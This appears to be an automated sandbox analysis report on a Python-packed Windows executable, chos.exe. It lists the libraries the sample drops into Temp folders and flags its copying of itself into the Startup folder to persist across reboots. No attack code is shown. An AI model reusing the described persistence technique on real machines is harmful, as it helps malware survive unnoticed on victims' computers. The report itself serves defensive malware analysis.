Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_sqlite3.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_queue.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_ocb.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_bz2.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_cbc.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Math\_modexp.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_lzma.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_ssl.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\pyexpat.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_MD2.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_des.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA1.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_socket.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_ecb.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_des3.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Protocol\_scrypt.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_multiprocessing.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_keccak.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_cast.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Util\_cpuid_c.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txtJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txtJump to behavior

Boot Survival

barindex
Drops PE files to the startup folder
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeJump to behavior
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeJump to behavior
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DD5820 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,0_2_00007FF666DD5820
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_BLAKE2b.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_arc2.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\charset_normalizer\md.cp313-win_amd64.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_cbc.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA1.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_ctypes.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_ssl.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_MD4.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_ghash_portable.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_ghash_portable.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_MD5.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_lzma.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\charset_normalizer\md.cp313-win_amd64.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Math\_modexp.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\python313.dllJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_decimal.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_cffi_backend.cp313-win_amd64.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA256.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_overlapped.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_ARC4.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_Salsa20.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA512.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_curve25519.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_decimal.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA384.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_ctr.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_cfb.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_ed25519.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Protocol\_scrypt.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_cast.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_bz2.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_ed448.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_ec_ws.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_overlapped.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_uuid.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_des.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\select.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA224.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_uuid.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\python313.dllJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Util\_strxor.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\pyexpat.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography\hazmat\bindings\_rust.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_ecb.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_cfb.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_BLAKE2b.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_RIPEMD160.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_MD2.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_blowfish.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_blowfish.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_aesni.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_aesni.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_ghash_clmul.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_ghash_clmul.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_curve25519.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_ofb.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_ed448.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_ocb.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_asyncio.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_ec_ws.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_keccak.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_aes.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_ctypes.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_multiprocessing.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_MD5.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_hashlib.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_MD4.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA384.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_pkcs1_decode.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_queue.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_poly1305.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_Salsa20.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_curve448.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_pkcs1_decode.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA512.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_asyncio.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_wmi.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_chacha20.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_ofb.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\unicodedata.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_BLAKE2s.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_socket.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\charset_normalizer\md__mypyc.cp313-win_amd64.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_BLAKE2s.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_wmi.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_ARC4.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_curve448.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\python3.dllJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA256.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\unicodedata.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography\hazmat\bindings\_rust.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_poly1305.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA224.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_hashlib.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\charset_normalizer\md__mypyc.cp313-win_amd64.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\select.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_des3.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Util\_cpuid_c.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_cffi_backend.cp313-win_amd64.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_arc2.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Util\_strxor.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_RIPEMD160.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_sqlite3.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_ctr.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_ed25519.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\python3.dllJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_chacha20.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_aes.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_sqlite3.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_queue.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_ocb.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_bz2.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_cbc.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Math\_modexp.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_lzma.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_ssl.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\pyexpat.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_MD2.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_des.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\_socket.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA1.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_ecb.pydJump to dropped file
